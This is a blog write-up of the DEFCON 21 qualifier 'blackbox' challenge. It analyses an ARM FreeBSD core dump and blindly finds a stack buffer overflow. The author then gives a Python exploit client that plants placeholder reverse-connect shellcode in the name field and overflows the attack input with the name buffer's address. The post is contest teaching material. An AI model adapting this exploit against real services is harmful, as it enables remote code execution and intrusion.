Wednesday, June 19, 2013

Defcon 21 quals - blackbox write-up

It was DEFCON 21 quals last week-end, with new organizers. It went well, good organization and good challenges. If you're curious about the results, here is a fancy top15 graph. Apparently it was too easy for PPP who finished all of the challenges... insane! :)

There were 5 categories:
  • 3dub: web-based challenges
  • 0x41414141: exploitation
  • \xff\xe4\xcc: shellcode
  • OMGACM: guerilla programming
  • gnireenigne: reverse engineering
I liked the exploitation ones with ARM under Linux/FreeBSD. Reverse was nice, shellcoding interesting but some painful, web was way too easy and OMGACM just annoying.
If you want to have a look, @JonathanSalwan saved some of the binaries on his repo.


Game

First we are given a host:port, connecting to it reveals some kind of game where you can enter your name of your character, then play to move between rooms (North, South, East, West) until you meet with a troll. There, you can either escape to another room, or choose to Attack in which case you die immediately with this message:
Hell yeah, let's go!
Sorry, <name>
You died...better luck next time.

ARM core file

We are also given a core dump (blackbox.core):
$ file blackbox.core
blackbox.core: ELF 32-bit LSB core file ARM, version 1 (FreeBSD),
FreeBSD-style, from 'ckbox'
But unfortunately, no binary to analyze (hence the name, blackbox).

Lucky me I have a Raspberry Pi at hand but instead of installing FreeBSD I just found an image ready to use by copying it on an SD card.

In just a few minutes you get a system up and running and you can start looking at the core file:
root@fbsd-pi:~ # gdb --core blackbox.core
[...]
Core was generated by `blackbox'.
Program terminated with signal 11, Segmentation fault.
#0  0x2002e000 in ?? ()

(gdb) bt
#0  0x2002e000 in ?? ()
Cannot access memory at address 0x41414141

(gdb) info registers
r0             0x41     65
r1             0x0      0
r2             0x15     21
r3             0x41     65
r4             0x0      0
r5             0xbfffeeb4       -1073746252
r6             0x4000114c       1073746252
r7             0x4018514c       1075335500
r8             0x0      0
r9             0xbfffeec0       -1073746240
r10            0x20034bd4       537086932
r11            0x41414141       1094795585
r12            0x12844  75844
sp             0x41414141       1094795585
lr             0x93ac   37804
pc             0x2002e000       537059328
fps            0x0      0
cpsr           0x60000010       1610612752
Looks like a buffer overflow. Let's carefully examine the core file:
$ readelf -l blackbox.core

Elf file type is CORE (Core file)
Entry point 0x0
There are 8 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  NOTE           0x000134 0x00000000 0x00000000 0x0194c 0x00000 R   0x4
  LOAD           0x002000 0x00012000 0x00000000 0x0b000 0x0b000 RW  0x1000
  LOAD           0x00d000 0x2002d000 0x00000000 0x01000 0x01000 RWE 0x1000
  LOAD           0x00e000 0x20034000 0x00000000 0x09000 0x09000 RW  0x1000
  LOAD           0x017000 0x2019b000 0x00000000 0x06000 0x06000 RW  0x1000
  LOAD           0x01d000 0x201a1000 0x00000000 0x3a000 0x3a000 RW  0x1000
  LOAD           0x057000 0x20400000 0x00000000 0x400000 0x400000 RW  0x1000
  LOAD           0x457000 0xbffe0000 0x00000000 0x20000 0x20000 RWE 0x1000
Interesting, the core file contains some memory areas of the binary when it crashed.
Maybe we could use that to get the binary? Too bad, no.

Looking around, we see that area mapped at 0x2002d000. Not only it is marked executable (E in RWE) but it contains The Troll Slayer string at the beginning (followed by nulls). In a game about killing trolls, that suspiciously looks like a character name and a good candidate to store our shellcode.

At area 0xbffe0000, likely the stack, we see the AAAA... buffer confirming the hypothesis of a stack based buffer overflow.

Finding the vuln

Since we don't have a binary to reverse to find the vulnerability, it's time to build a client and experiment blindly with the remote binary, by sending big strings at every input and see what happens.

Sending a big name doesn't stop the binary.
Sending incorrect directions or a lot of input doesn't stop the binary.
However, when reaching a troll sending an A for Attack followed with a lot of input we get this:
Hell yeah, let's go!
and disconnected! No longer the next message "Sorry <name>. You died [...]". We can guess we crashed the binary, maybe with that same buffer overflow from the core file.

Exploit

Let's try something: start the game, when asked for character name, put a reverse connect shellcode that will maybe end up at 0x2002d000 executable area, then play by moving from room to room until meeting with a troll. Maybe trigger the suspected buffer overflow by repeating the suspected address of name (0x2002d000) multiple times (and 32-bit aligned).

Code:
#!/usr/bin/python
import random
import re
import socket
import struct

NAME = 0x2002d000
SC = "<insert reverse connect shellcode>"


class Socket(object):

    def __init__(self, host, port, debug=True):
        self.debug = debug
        self.s = socket.create_connection((host, port))
        self.connected = True

    def recv_until(self, until='(y/n): '):
        data, chunk = '', True
        while chunk and not data.endswith(until):
            chunk = self.s.recv(1)
            if not chunk:
                self.connected = False
                if self.debug:
                    print 'R: disconnected'
                break
            data += chunk
        if data and self.debug:
            print 'R: %s' % repr(data)
        return data

    def send_all(self, data):
        if self.debug:
          print 'S: %s' % repr(data)
        return self.s.sendall(data)


def main():
    s = Socket('131.247.27.201', 1234)
    s.recv_until('\n')
    s.send_all(SC + '\n')
    while s.connected:
        text = s.recv_until(')? ')
        if 'You died...better luck next time' in text:
            break
        m = re.search('\(([NSEWA,]+)\)\? $', text)
        if not m:
            print "cannot parse: %r" % text
            break
        moves = m.group(1).split(',')
        if 'A' in moves:
            move = 'ABCD' + struct.pack('<I', NAME)*0x100
        else:
            move = random.choice(moves)
        s.send_all(move + '\n')


if __name__ == '__main__':
  main()
Looks like our hypothesis worked:
$ python blackbox.py
[... then on the reverse shell]
cat key
The key is: arm+bsd=shellcoding fun

No comments:

Post a Comment